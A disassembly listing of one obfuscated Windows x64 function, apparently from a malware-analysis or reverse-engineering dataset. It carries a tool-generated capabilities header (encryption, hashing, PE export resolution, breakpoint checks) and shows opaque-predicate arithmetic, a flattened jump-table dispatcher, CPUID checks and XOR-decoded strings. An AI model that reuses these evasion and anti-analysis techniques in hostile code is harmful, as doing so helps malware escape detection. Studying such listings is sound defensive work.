Function at 0x140457673
Capabilities:
Authenticate hmac
Check for software breakpoints
Check http status code
Encrypt data using chaskey
Encrypt data using speck
Hash data using fnv
Hash data using murmur3
Parse pe header
Resolve function by parsing pe exports

Disassembly:
push rax
pushf
mov eax, 0x505c17c2
pushf
not eax
add eax, 0xc206be75
xor eax, 0xfcdefded
rol eax, 0xa2
popf
pushf
not eax
add eax, 0xc67c2611
xor eax, 0x90aab892
rol eax, 0xe2
popf
cmp eax, 0x63
jne 0x1404576b0
popf
pop rax
jmp 0x14045c3a0
cmp eax, 0x48
jne 0x1404576bf
popf
pop rax
jmp 0x14045b0e4
cmp eax, 0x3f
jne 0x1404576ce
popf
pop rax
jmp 0x14045ac13
cmp eax, 0x99
jne 0x1404576dd
popf
pop rax
jmp 0x14045e8d4
cmp eax, 0xca
jne 0x1404576ec
popf
pop rax
jmp 0x1404603f8
cmp eax, 0x78
jne 0x1404576fb
popf
pop rax
jmp 0x14045d0bf
cmp eax, 0x80
jne 0x14045770a
popf
pop rax
jmp 0x14045d4bf
cmp eax, 0x6e
jne 0x140457719
popf
pop rax
jmp 0x14045ca10
cmp eax, 0x8b
jne 0x140457728
popf
pop rax
jmp 0x14045df3f
cmp eax, 0x7d
jne 0x140457737
popf
pop rax
jmp 0x14045d380
cmp eax, 0x2a
jne 0x140457746
popf
pop rax
jmp 0x140459dca
cmp eax, 0x71
jne 0x140457755
popf
pop rax
jmp 0x14045cc33
cmp eax, 0x1c
jne 0x140457764
popf
pop rax
jmp 0x1404595d7
cmp eax, 0x2e
jne 0x140457773
popf
pop rax
jmp 0x14045a1cc
cmp eax, 0x89
jne 0x140457782
popf
pop rax
jmp 0x14045dd3c
cmp eax, 0xcd
jne 0x140457791
popf
pop rax
jmp 0x140460599
cmp eax, 0xbb
jne 0x1404577a0
popf
pop rax
jmp 0x14045fb64
cmp eax, 0xcb
jne 0x1404577af
popf
pop rax
jmp 0x140460497
cmp eax, 0x23
jne 0x1404577be
popf
pop rax
jmp 0x140459964
cmp eax, 0xb3
jne 0x1404577cd
popf
pop rax
jmp 0x14045f6b0
cmp eax, 0x43
jne 0x1404577dc
popf
pop rax
jmp 0x14045ae56
cmp eax, 0x13
jne 0x1404577eb
popf
pop rax
jmp 0x14045903e
cmp eax, 0x33
jne 0x1404577fa
popf
pop rax
jmp 0x14045a46b
cmp eax, 0x24
jne 0x140457809
popf
pop rax
jmp 0x1404599fa
cmp eax, 0x1e
jne 0x140457818
popf
pop rax
jmp 0x140459743
cmp eax, 0xb1
jne 0x140457827
popf
pop rax
jmp 0x14045f5b8
cmp eax, 0x26
jne 0x140457836
popf
pop rax
jmp 0x140459b7e
cmp eax, 0x27
jne 0x140457845
popf
pop rax
jmp 0x140459c76
cmp eax, 0x30
jne 0x140457854
popf
pop rax
jmp 0x14045a2b0
cmp eax, 0xb9
jne 0x140457863
popf
pop rax
jmp 0x14045f914
cmp eax, 0x37
jne 0x140457872
popf
pop rax
jmp 0x14045a711
cmp eax, 9
jne 0x140457881
popf
pop rax
jmp 0x1404589df
cmp eax, 0x39
jne 0x140457890
popf
pop rax
jmp 0x14045a8dd
cmp eax, 0x16
jne 0x14045789f
popf
pop rax
jmp 0x140459283
cmp eax, 0x7e
jne 0x1404578ae
popf
pop rax
jmp 0x14045d3ba
cmp eax, 0x4b
jne 0x1404578bd
popf
pop rax
jmp 0x14045b2a3
cmp eax, 0x92
jne 0x1404578cc
popf
pop rax
jmp 0x14045e342
cmp eax, 0xc6
jne 0x1404578db
popf
pop rax
jmp 0x1404601cf
cmp eax, 0xa4
jne 0x1404578ea
popf
pop rax
jmp 0x14045ef54
cmp eax, 0x7f
jne 0x1404578f9
popf
pop rax
jmp 0x14045d418
cmp eax, 0xb7
jne 0x140457908
popf
pop rax
jmp 0x14045f88c
cmp eax, 0x83
jne 0x140457917
popf
pop rax
jmp 0x14045d6f6
cmp eax, 0xce
jne 0x140457926
popf
pop rax
jmp 0x1404605f0
cmp eax, 0x11
jne 0x140457935
popf
pop rax
jmp 0x140458f43
cmp eax, 0x35
jne 0x140457944
popf
pop rax
jmp 0x14045a5d9
cmp eax, 0xa0
jne 0x140457953
popf
pop rax
jmp 0x14045ecc2
cmp eax, 0x7a
jne 0x140457962
popf
pop rax
jmp 0x14045d183
cmp eax, 0x6b
jne 0x140457971
popf
pop rax
jmp 0x14045c83c
cmp eax, 0x38
jne 0x140457980
popf
pop rax
jmp 0x14045a871
cmp eax, 0xc2
jne 0x14045798f
popf
pop rax
jmp 0x14045ff98
cmp eax, 0x5c
jne 0x14045799e
popf
pop rax
jmp 0x14045beaf
cmp eax, 0x15
jne 0x1404579ad
popf
pop rax
jmp 0x140459142
cmp eax, 0xaf
jne 0x1404579bc
popf
pop rax
jmp 0x14045f4c9
cmp eax, 0xcc
jne 0x1404579cb
popf
pop rax
jmp 0x140460539
cmp eax, 0xc3
jne 0x1404579da
popf
pop rax
jmp 0x14045fff8
cmp eax, 0x49
jne 0x1404579e9
popf
pop rax
jmp 0x14045b12f
cmp eax, 0x1f
jne 0x1404579f8
popf
pop rax
jmp 0x140459791
cmp eax, 0xc8
jne 0x140457a07
popf
pop rax
jmp 0x1404602e4
cmp eax, 0x8f
jne 0x140457a16
popf
pop rax
jmp 0x14045e219
cmp eax, 0x4d
jne 0x140457a25
popf
pop rax
jmp 0x14045b4a0
cmp eax, 0x90
jne 0x140457a34
popf
pop rax
jmp 0x14045e2ce
cmp eax, 0xb5
jne 0x140457a43
popf
pop rax
jmp 0x14045f7ce
cmp eax, 0x2c
jne 0x140457a52
popf
pop rax
jmp 0x14045a05b
cmp eax, 0x5f
jne 0x140457a61
popf
pop rax
jmp 0x14045c12a
cmp eax, 0x19
jne 0x140457a70
popf
pop rax
jmp 0x14045941f
cmp eax, 0x1d
jne 0x140457a7f
popf
pop rax
jmp 0x1404596b1
cmp eax, 0x9e
jne 0x140457a8e
popf
pop rax
jmp 0x14045ec3d
cmp eax, 0x53
jne 0x140457a9d
popf
pop rax
jmp 0x14045b827
cmp eax, 0x4f
jne 0x140457aac
popf
pop rax
jmp 0x14045b611
cmp eax, 0x6c
jne 0x140457abb
popf
pop rax
jmp 0x14045c877
cmp eax, 7
jne 0x140457aca
popf
pop rax
jmp 0x1404588d8
cmp eax, 0xa8
jne 0x140457ad9
popf
pop rax
jmp 0x14045f0f7
cmp eax, 0x84
jne 0x140457ae8
popf
pop rax
jmp 0x14045d7ee
cmp eax, 0x7c
jne 0x140457af7
popf
pop rax
jmp 0x14045d2f1
cmp eax, 0xac
jne 0x140457b06
popf
pop rax
jmp 0x14045f317
cmp eax, 0x8c
jne 0x140457b15
popf
pop rax
jmp 0x14045dfe5
cmp eax, 0x18
jne 0x140457b24
popf
pop rax
jmp 0x1404593ba
cmp eax, 0x28
jne 0x140457b33
popf
pop rax
jmp 0x140459d33
cmp eax, 0xbd
jne 0x140457b42
popf
pop rax
jmp 0x14045fccb
cmp eax, 0x98
jne 0x140457b51
popf
pop rax
jmp 0x14045e808
cmp eax, 0x52
jne 0x140457b60
popf
pop rax
jmp 0x14045b741
cmp eax, 0x41
jne 0x140457b6f
popf
pop rax
jmp 0x14045ad7a
cmp eax, 0xba
jne 0x140457b7e
popf
pop rax
jmp 0x14045f9d6
cmp eax, 0x70
jne 0x140457b8d
popf
pop rax
jmp 0x14045cb28
cmp eax, 0x29
jne 0x140457b9c
popf
pop rax
jmp 0x140459d81
cmp eax, 0x95
jne 0x140457bab
popf
pop rax
jmp 0x14045e646
cmp eax, 0
jne 0x140457bba
popf
pop rax
jmp 0x1404582e0
cmp eax, 0x4e
jne 0x140457bc9
popf
pop rax
jmp 0x14045b506
cmp eax, 0x31
jne 0x140457bd8
popf
pop rax
jmp 0x14045a3d4
cmp eax, 0xa1
jne 0x140457be7
popf
pop rax
jmp 0x14045edae
cmp eax, 0x82
jne 0x140457bf6
popf
pop rax
jmp 0x14045d6a2
cmp eax, 0xa3
jne 0x140457c05
popf
pop rax
jmp 0x14045ee5b
cmp eax, 0xad
jne 0x140457c14
popf
pop rax
jmp 0x14045f362
cmp eax, 0x7b
jne 0x140457c23
popf
pop rax
jmp 0x14045d23c
cmp eax, 0x75
jne 0x140457c32
popf
pop rax
jmp 0x14045cf6b
cmp eax, 3
jne 0x140457c41
popf
pop rax
jmp 0x1404586ee
cmp eax, 0x6f
jne 0x140457c50
popf
pop rax
jmp 0x14045caec
cmp eax, 0x34
jne 0x140457c5f
popf
pop rax
jmp 0x14045a57d
cmp eax, 0x88
jne 0x140457c6e
popf
pop rax
jmp 0x14045dcf2
cmp eax, 0x76
jne 0x140457c7d
popf
pop rax
jmp 0x14045d003
cmp eax, 0xb
jne 0x140457c8c
popf
pop rax
jmp 0x140458aec
cmp eax, 0x66
jne 0x140457c9b
popf
pop rax
jmp 0x14045c54c
cmp eax, 0x81
jne 0x140457caa
popf
pop rax
jmp 0x14045d555
cmp eax, 0x9f
jne 0x140457cb9
popf
pop rax
jmp 0x14045ec77
cmp eax, 0x3a
jne 0x140457cc8
popf
pop rax
jmp 0x14045a9fa
cmp eax, 2
jne 0x140457cd7
popf
pop rax
jmp 0x140458695
cmp eax, 0x65
jne 0x140457ce6
popf
pop rax
jmp 0x14045c4f7
cmp eax, 0x21
jne 0x140457cf5
popf
pop rax
jmp 0x140459894
cmp eax, 0xa5
jne 0x140457d04
popf
pop rax
jmp 0x14045efd0
cmp eax, 0xb6
jne 0x140457d13
popf
pop rax
jmp 0x14045f82e
cmp eax, 0x87
jne 0x140457d22
popf
pop rax
jmp 0x14045dc61
cmp eax, 0x46
jne 0x140457d31
popf
pop rax
jmp 0x14045afe2
cmp eax, 0x32
jne 0x140457d40
popf
pop rax
jmp 0x14045a40f
cmp eax, 0x96
jne 0x140457d4f
popf
pop rax
jmp 0x14045e6d7
cmp eax, 0x60
jne 0x140457d5e
popf
pop rax
jmp 0x14045c235
cmp eax, 0x42
jne 0x140457d6d
popf
pop rax
jmp 0x14045ae1c
cmp eax, 8
jne 0x140457d7c
popf
pop rax
jmp 0x14045897f
cmp eax, 0xb4
jne 0x140457d8b
popf
pop rax
jmp 0x14045f752
cmp eax, 0x59
jne 0x140457d9a
popf
pop rax
jmp 0x14045bcb2
cmp eax, 0x9c
jne 0x140457da9
popf
pop rax
jmp 0x14045eb0c
cmp eax, 0x1a
jne 0x140457db8
popf
pop rax
jmp 0x14045949e
cmp eax, 0x73
jne 0x140457dc7
popf
pop rax
jmp 0x14045ce7c
cmp eax, 0x12
jne 0x140457dd6
popf
pop rax
jmp 0x140458f95
cmp eax, 0xa9
jne 0x140457de5
popf
pop rax
jmp 0x14045f1ac
cmp eax, 0x3c
jne 0x140457df4
popf
pop rax
jmp 0x14045ab1f
cmp eax, 0x74
jne 0x140457e03
popf
pop rax
jmp 0x14045ceed
cmp eax, 0x3b
jne 0x140457e12
popf
pop rax
jmp 0x14045aaa3
cmp eax, 0xd0
jne 0x140457e21
popf
pop rax
jmp 0x1404606ac
cmp eax, 0x5d
jne 0x140457e30
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x2a0]
sub rsp, 0x3a0
movaps xmmword [rsp + 0x390], xmm6
mov rax, qword [0x1403f1ec0]
xor rax, rsp
mov qword [rbp + 0x280], rax
mov r13d, r8d
mov r12, rdx
mov qword [rsp + 0x78], rdx
mov rsi, rcx
mov qword [rsp + 0x70], rcx
mov qword [rbp + 0xf8], rcx
mov qword [rbp + 0xa0], rdx
xor r15d, r15d
mov dword [rsp + 0x48], r15d
lea r8, [rsp + 0x4c]
lea rdx, [rsp + 0x50]
lea rcx, [rbp - 0x80]
call fcn.14044401e
nop
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x58], xmm0
mov qword [rsp + 0x68], r15
xor eax, eax
movups xmmword [rbp + 0x1b0], xmm0
movups xmmword [rbp + 0x1c0], xmm0
movups xmmword [rbp + 0x1d0], xmm0
movups xmmword [rbp + 0x1e0], xmm0
mov qword [rbp + 0x1f0], rax
lea rax, [0x19a840752]
pushf
sub rax, 0x5a70d612
popf
mov qword [rbp + 0x1a0], rax
lea rax, [rsp + 0x58]
mov qword [rbp + 0x1a8], rax
mov dword [rsp + 0x28], reloc.WLDAP32.dll_Ordinal_50
mov rax, qword [rbp - 0x80]
mov qword [rsp + 0x20], rax
lea r9d, [r15 + 4]
mov r8d, dword [rsp + 0x4c]
mov edx, dword [rsp + 0x50]
lea rcx, [rbp + 0x1a0]
call fcn.14012c360
lea rax, [0x18a499d8a]
pushf
sub rax, 0x4a0ce15a
popf
mov qword [rbp - 0x60], rax
lea rax, [0x1a263670f]
pushf
sub rax, 0x6226b64f
popf
mov qword [rbp - 0x50], rax
lea rcx, [rbp + 0x38]
jmp 0x140458405
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::constructor_void____ptr64]
nop
mov dword [rsp + 0x48], 4
xor r8d, r8d
lea rdx, [rbp - 0x48]
lea rcx, [rbp - 0x60]
jmp 0x140458420
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_iostream_char__struct_std::char_traits_char__::constructor_class_std::basic_streambuf_char__struct_std::char_traits_char______ptr64____ptr64]
nop
mov rax, qword [rbp - 0x60]
movsxd rcx, dword [rax + 4]
lea rax, [0x19866d5e2]
pushf
sub rax, 0x582b0dca
popf
mov qword [rbp + rcx - 0x60], rax
mov rax, qword [rbp - 0x60]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x98]
mov dword [rbp + rcx - 0x64], edx
lea rcx, [rbp - 0x48]
jmp 0x14045845c
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::constructor_void____ptr64]
lea rax, [0x19fbe49b1]
pushf
sub rax, 0x5f828219
popf
mov qword [rbp - 0x48], rax
mov qword [rbp + 0x20], r15
mov dword [rbp + 0x28], r15d
movdqa xmm0, xmmword [0x1403cc5f0]
movdqu xmmword [rbp + 0xe0], xmm0
mov eax, 0xf6f68060
pushf
not eax
add eax, 0xc1d798e7
xor eax, 0xf79e7049
rol eax, 0xa9
popf
pushf
not eax
add eax, 0xc393a453
xor eax, 0xd4c205d8
rol eax, 0xc3
popf
xor ecx, ecx
cpuid
mov r9d, eax
mov dword [rbp + 0xe4], ebx
mov dword [rbp + 0xe8], ecx
mov dword [rbp + 0xec], edx
mov r8d, 0x2f37f58a
pushf
not r8d
add r8d, 0xbc67b685
xor r8d, 0xcf59e745
rol r8d, 0x45
popf
pushf
not r8d
add r8d, 0xb3a12ca7
xor r8d, 0x8eddd13d
rol r8d, 0xa3
popf
pushf
not r8d
add r8d, 0xf6973894
xor r8d, 0xc0465c1c
rol r8d, 0xb5
popf
pushf
not r8d
add r8d, 0xec32fc8c
xor r8d, 0xdfa622c1
rol r8d, 0xc8
popf
cmp eax, r8d
jb 0x140458588
push rax
pushf
mov eax, 0x813e4a5a
pushf
not eax
add eax, 0xd27c4cee
xor eax, 0xfab2602f
rol eax, 0x1f
popf
pushf
not eax
add eax, 0xe5adb09a
xor eax, 0xc9c17933
rol eax, 0x5f
popf
pushf
not eax
add eax, 0xaf369a1e
xor eax, 0x8c23d719
rol eax, 0x52
popf
jmp 0x1404576a1
push rax
pushf
mov eax, 0xa0bf2dc3
pushf
not eax
add eax, 0xd80db3d7
xor eax, 0xd0c822ab
rol eax, 0xb4
popf
pushf
not eax
add eax, 0xbbcec399
xor eax, 0xc12245b8
rol eax, 0xb
popf
pushf
not eax
add eax, 0xeca1703b
xor eax, 0xdc2cfaaf
rol eax, 0xb5
popf
jmp 0x1404576a1
movups xmm0, xmmword [rbp + 0xe0]
movups xmmword [rbp + 0x1a0], xmm0
jmp 0x1404588d8
cmp r8d, 0x80000003
jne 0x140458750
push rax
pushf
mov eax, 0xf88b7c89
pushf
not eax
add eax, 0x967a3f75
xor eax, 0xf7f0a693
rol eax, 0x11
popf
pushf
not eax
add eax, 0xa32d69b6
xor eax, 0xe0d68df8
rol eax, 0x24
popf
pushf
not eax
add eax, 0xf621aee9
xor eax, 0xe8d7f63e
rol eax, 0x80
popf
pushf
not eax
add eax, 0x9487d392
xor eax, 0xc53002a6
rol eax, 0xe5
popf
jmp 0x1404576a1
push rax
pushf
mov eax, 0x6136e84
pushf
not eax
add eax, 0x8415aa48
xor eax, 0xb23a4542
rol eax, 0xba
popf
pushf
not eax
add eax, 0xfb8f18d5
xor eax, 0x9b73a880
rol eax, 0xb3
popf
pushf
not eax
add eax, 0xa597444e
xor eax, 0xb7c3cae1
rol eax, 0xc8
popf
jmp 0x1404576a1
inc r8d
cmp r8d, r9d
jbe 0x140458939
push rax
pushf
mov eax, 0xf4f0960a
pushf
not eax
add eax, 0xb32c8fab
xor eax, 0xf602588a
rol eax, 0x61
popf
pushf
not eax
add eax, 0xbb72f6bc
xor eax, 0xcfb1d887
rol eax, 0x40
popf
pushf
not eax
add eax, 0x91cd83b7
xor eax, 0xa47d7ad0
rol eax, 0x3f
popf
pushf
not eax
add eax, 0x88e91208
xor eax, 0x86e7dc04
rol eax, 0x4a
popf
jmp 0x1404576a1
push rax
pushf
mov eax, 0x2969fe25
pushf
not eax
add eax, 0xf0f82755
xor eax, 0x9b9a267f
rol eax, 0x82
popf
pushf
not eax
add eax, 0xb56becc3
xor eax, 0x9bd2a041
rol eax, 0xaa
popf
pushf
not eax
add eax, 0xc698ed25
xor eax, 0xa279e9a9
rol eax, 0xab
popf
jmp 0x1404576a1
xorps xmm0, xmm0
movups xmmword [rbp + 0x200], xmm0
mov qword [rbp + 0x210], r15
mov qword [rbp + 0x218], r15
lea rax, [rbp + 0x1a0]
mov rdi, 0xffffffffffffffff
mov r8, rdi
nop dword [rax]
push rax
pushf
mov eax, 0x41faa6cb
pushf
not eax
add eax, 0x9fdce4ef
xor eax, 0xd09470fd
rol eax, 0xfc
popf
pushf
not eax
add eax, 0x826b8ccb
xor eax, 0x99942795
rol eax, 0x9d
popf
jmp 0x1404576a1
inc r8
cmp byte [rax + r8], 0
jne 0x140458a1c
push rax
pushf
mov eax, 0xa0f39413
pushf
not eax
add eax, 0xb17b7515
xor eax, 0x96f34040
rol eax, 0xd7
popf
pushf
not eax
add eax, 0x99278d74
xor eax, 0xf86451a3
rol eax, 0x7a
popf
jmp 0x1404576a1
push rax
pushf
mov eax, 0x527b0bc
pushf
not eax
add eax, 0xdcdf9178
xor eax, 0xf603c75e
rol eax, 0xb9
popf
pushf
not eax
add eax, 0x90286ccc
xor eax, 0xf4a5707e
rol eax, 0xd7
popf
pushf
not eax
add eax, 0xf9559ec2
xor eax, 0xf83cf787
rol eax, 0x58
popf
jmp 0x1404576a1
movups xmm0, xmmword [str.XYZQ_K_L330OimH]
movups xmmword [rbp + 0xe0], xmm0
movzx eax, byte [0x1403cb5b8]
mov byte [rbp + 0xf0], al
mov ebx, r15d
cmp r14d, 2
jl 0x140458b47
push rax
pushf
mov eax, 0xe710c9ab
pushf
not eax
add eax, 0xf58faaec
xor eax, 0x9dde7a58
rol eax, 0xae
popf
pushf
not eax
add eax, 0xdd5c8591
xor eax, 0xb6966ca8
rol eax, 0xf8
popf
jmp 0x1404576a1
push rax
pushf
mov eax, 0x58575582
pushf
not eax
add eax, 0xd4dfbdb9
xor eax, 0xfd534192
rol eax, 0xc8
popf
pushf
not eax
add eax, 0xaefffd8c
xor eax, 0x8079639f
rol eax, 0xec
popf
pushf
not eax
add eax, 0xe71e59b2
xor eax, 0x84a1cb10
rol eax, 0x14
popf
pushf
not eax
add eax, 0xcc770054
xor eax, 0xd5ff833b
rol eax, 0x5e
popf
jmp 0x1404576a1
lea rdx, [rbp + 0xe0]
jmp 0x140459894
cmp r13d, 1
jne 0x140458fe5
push rax
pushf
mov eax, 0xc3a339f6
pushf
not eax
add eax, 0xd258243d
xor eax, 0xb70e79a6
rol eax, 0x50
popf
pushf
not eax
add eax, 0x815a17b9
xor eax, 0xab711f83
rol eax, 0x4f
popf
pushf
not eax
add eax, 0xac9782c1
xor eax, 0x8b58df24
rol eax, 0xbd
popf
jmp 0x1404576a1
push rax
pushf
mov eax, 0xedac9be7
pushf
not eax
add eax, 0xf408984e
xor eax, 0x80d97c3d
rol eax, 0x13
popf
pushf
not eax
add eax, 0xbd56453a
xor eax, 0x8e14ea90
rol eax, 0x7c
popf
pushf
not eax
add eax, 0xcf93bc0d
xor eax, 0x98af1b3b
rol eax, 0xd6
popf
pushf
not eax
add eax, 0xac37221b
xor eax, 0xd0ede925
rol eax, 0x8c
popf
jmp 0x1404576a1
mov rax, qword [str.XYZ_UE4__VTOYSJ_PMNK]
mov qword [rbp + 0xb8], rax
cmp byte [0x1403cb6df], 0
je 0x14045908c
push rax
pushf
mov eax, 0x6495383c
pushf
not eax
add eax, 0xaeeb2ad3
xor eax, 0xcd8d791a
rol eax, 0xc6
popf
pushf
not eax
add eax, 0xb5c8e2ec
xor eax, 0xbfafffca
rol eax, 0x31
popf
jmp 0x1404576a1
push rax
pushf
mov eax, 0x5bbeb633
pushf
not eax
add eax, 0xd1be6ef2
xor eax, 0xed60822a
rol eax, 0xab
popf
pushf
not eax
add eax, 0xd3a1d491
xor eax, 0xc1cd2fcc
rol eax, 0x28
popf
jmp 0x1404576a1
movdqa xmm4, xmmword [0x1403cc650]
movdqa xmm2, xmmword [0x1403cc610]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1403cc630]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1403cc640]
packuswb xmm2, xmm2
mov eax, dword [0x1403cc660]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xb8]
xorps xmm2, xmm1
movd dword [rbp + 0xb8], xmm2
movdqa xmm3, xmmword [0x1403cc620]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1403cc630]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1403cc640]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xbc]
xorps xmm2, xmm1
movd dword [rbp + 0xbc], xmm2
lea rdx, [rbp + 0xb8]
jmp 0x140459894
lea r8, [rbp + 0xb8]
mov ebx, r15d
nop
push rax
pushf
mov eax, 0x139d2694
pushf
not eax
add eax, 0x842bdf44
xor eax, 0xc6bbf5e1
rol eax, 0xff
popf
pushf
not eax
add eax, 0xab4a44a1
xor eax, 0xe256c15d
rol eax, 0x64
popf
pushf
not eax
add eax, 0xd3c8f585
xor eax, 0xac332b65
rol eax, 0xfe
popf
jmp 0x1404576a1
lea rdx, [rbp + 0xb8]
jmp 0x140459894
cmp r13d, 2
jne 0x140459458
push rax
pushf
mov eax, 0x19ee65d
pushf
not eax
add eax, 0xffff3719
xor eax, 0xca4cbeb9
rol eax, 0x8f
popf
pushf
not eax
add eax, 0xa343816a
xor eax, 0xfc426753
rol eax, 5
popf
jmp 0x1404576a1
push rax
pushf
mov eax, 0xd1452045
pushf
not eax
add eax, 0xc743b270
xor eax, 0xa015c907
rol eax, 0x80
popf
pushf
not eax
add eax, 0x9f63c992
xor eax, 0xbf72c87d
rol eax, 0x30
popf
pushf
not eax
add eax, 0x8438fd95
xor eax, 0xde1f063a
rol eax, 0x1c
popf
jmp 0x1404576a1
mov eax, dword [0x1403cb788]
mov dword [rbp + 0xb8], eax
movzx ecx, word [0x1403cb78c]
mov word [rbp + 0xbc], cx
movzx eax, byte [0x1403cb78e]
mov byte [rbp + 0xb8], 0x60
xor byte [rbp + 0xb9], 0x39
xor byte [rbp + 0xba], 0x3a
xor byte [rbp + 0xbb], 0x3b
xor cl, 0x3c
mov byte [rbp + 0xbc], cl
xor byte [rbp + 0xbd], 0x3d
xor al, 0x3e
mov byte [rbp + 0xbe], al
lea rdx, [rbp + 0xb8]
jmp 0x140459894
movsd xmm0, qword [str.XYZ_U_X5kaB]
movzx ecx, word [0x1403cacb0]
movzx eax, byte [0x1403cacb2]
mov word [rbp + 0xb0], cx
movsd qword [rbp + 0xa8], xmm0
mov byte [rbp + 0xa8], 0x60
xor byte [rbp + 0xa9], 0x39
xor byte [rbp + 0xaa], 0x3a
xor byte [rbp + 0xab], 0x3b
xor byte [rbp + 0xac], 0x3c
xor byte [rbp + 0xad], 0x3d
xor byte [rbp + 0xae], 0x3e
xor byte [rbp + 0xaf], 0x3f
xor cl, 0x40
mov byte [rbp + 0xb0], cl
xor byte [rbp + 0xb1], 0x41
xor al, 0x42
mov byte [rbp + 0xb2], al
lea rdx, [rbp + 0xa8]
jmp 0x140459894
cmp r13d, 4
jne 0x1404596ea
push rax
pushf
mov eax, 0xd241d110
pushf
not eax
add eax, 0xa7523eab
xor eax, 0xc8220277
rol eax, 0x71
popf
pushf
not eax
add eax, 0xdc4b0926
xor eax, 0xfc70cf21
rol eax, 0xfc
popf
jmp 0x1404576a1
push rax
pushf
mov eax, 0x8532a47e
pushf
not eax
add eax, 0xa1c67dfd
xor eax, 0xf3b28b9a
rol eax, 0xaf
popf
pushf
not eax
add eax, 0x8ea758fb
xor eax, 0x85649b3d
rol eax, 0x2c
popf
pushf
not eax
add eax, 0x9228af7b
xor eax, 0xdbff9e99
rol eax, 0xd0
popf
pushf
not eax
add eax, 0x94dbebab
xor eax, 0xecefa42e
rol eax, 0xf7
popf
jmp 0x1404576a1
movsd xmm0, qword [0x1403cbc08]
movzx ecx, word [0x1403cbc10]
movzx eax, byte [0x1403cbc12]
jmp 0x1404595ed
cmp r13d, 5
jne 0x1404597ca
push rax
pushf
mov eax, 0x28045c49
pushf
not eax
add eax, 0xfc81e8b5
xor eax, 0xab35f8d6
rol eax, 0x78
popf
pushf
not eax
add eax, 0xd03751d7
xor eax, 0x92b80962
rol eax, 0x86
popf
jmp 0x1404576a1
push rax
pushf
mov eax, 0x5919cbfa
pushf
not eax
add eax, 0xc3c7caff
xor eax, 0x8451eb9c
rol eax, 0xa8
popf
pushf
not eax
add eax, 0xdf512a0b
xor eax, 0xe33c9158
rol eax, 0xff
popf
jmp 0x1404576a1
lea rcx, [rbp - 0x50]
call fcn.14013c9b0
push rax
pushf
mov eax, 0xbe9b95cb
pushf
not eax
add eax, 0xf99dc838
xor eax, 0x97095ef7
rol eax, 0x21
popf
pushf
not eax
add eax, 0xeebebd17
xor eax, 0xc99d0623
rol eax, 0x17
popf
pushf
not eax
add eax, 0x82d36060
xor eax, 0x84a3c2fc
rol eax, 0x61
popf
jmp 0x1404576a1
cmp r14d, 2
jl 0x1404599a1
push rax
pushf
mov eax, 0xab4d8c39
pushf
not eax
add eax, 0xc7d712fb
xor eax, 0xc5593dcb
rol eax, 0xb3
popf
pushf
not eax
add eax, 0x977fe0e4
xor eax, 0xb629125e
rol eax, 0x2a
popf
jmp 0x1404576a1
push rax
pushf
mov eax, 0x208db702
pushf
not eax
add eax, 0x86686ac4
xor eax, 0xc0c255a0
rol eax, 0x38
popf
pushf
not eax
add eax, 0x8e852ae4
xor eax, 0x9a128c5a
rol eax, 0x39
popf
pushf
not eax
add eax, 0x8f983cbb
xor eax, 0xf2b0ffef
rol eax, 0x1c
popf
pushf
not eax
add eax, 0x9284bcdf
xor eax, 0x95db1255
rol eax, 0x89
popf
jmp 0x1404576a1
movdqa xmm4, xmmword [0x1403cc650]
movdqa xmm2, xmmword [0x1403cc610]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1403cc630]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1403cc640]
packuswb xmm2, xmm2
mov eax, dword [0x1403cc660]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xc0]
xorps xmm2, xmm1
movd dword [rbp + 0xc0], xmm2
movdqa xmm3, xmmword [0x1403cc620]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1403cc630]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1403cc640]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xc4]
xorps xmm2, xmm1
movd dword [rbp + 0xc4], xmm2
jmp 0x140459c76
mov eax, 0xb3040ff6
pushf
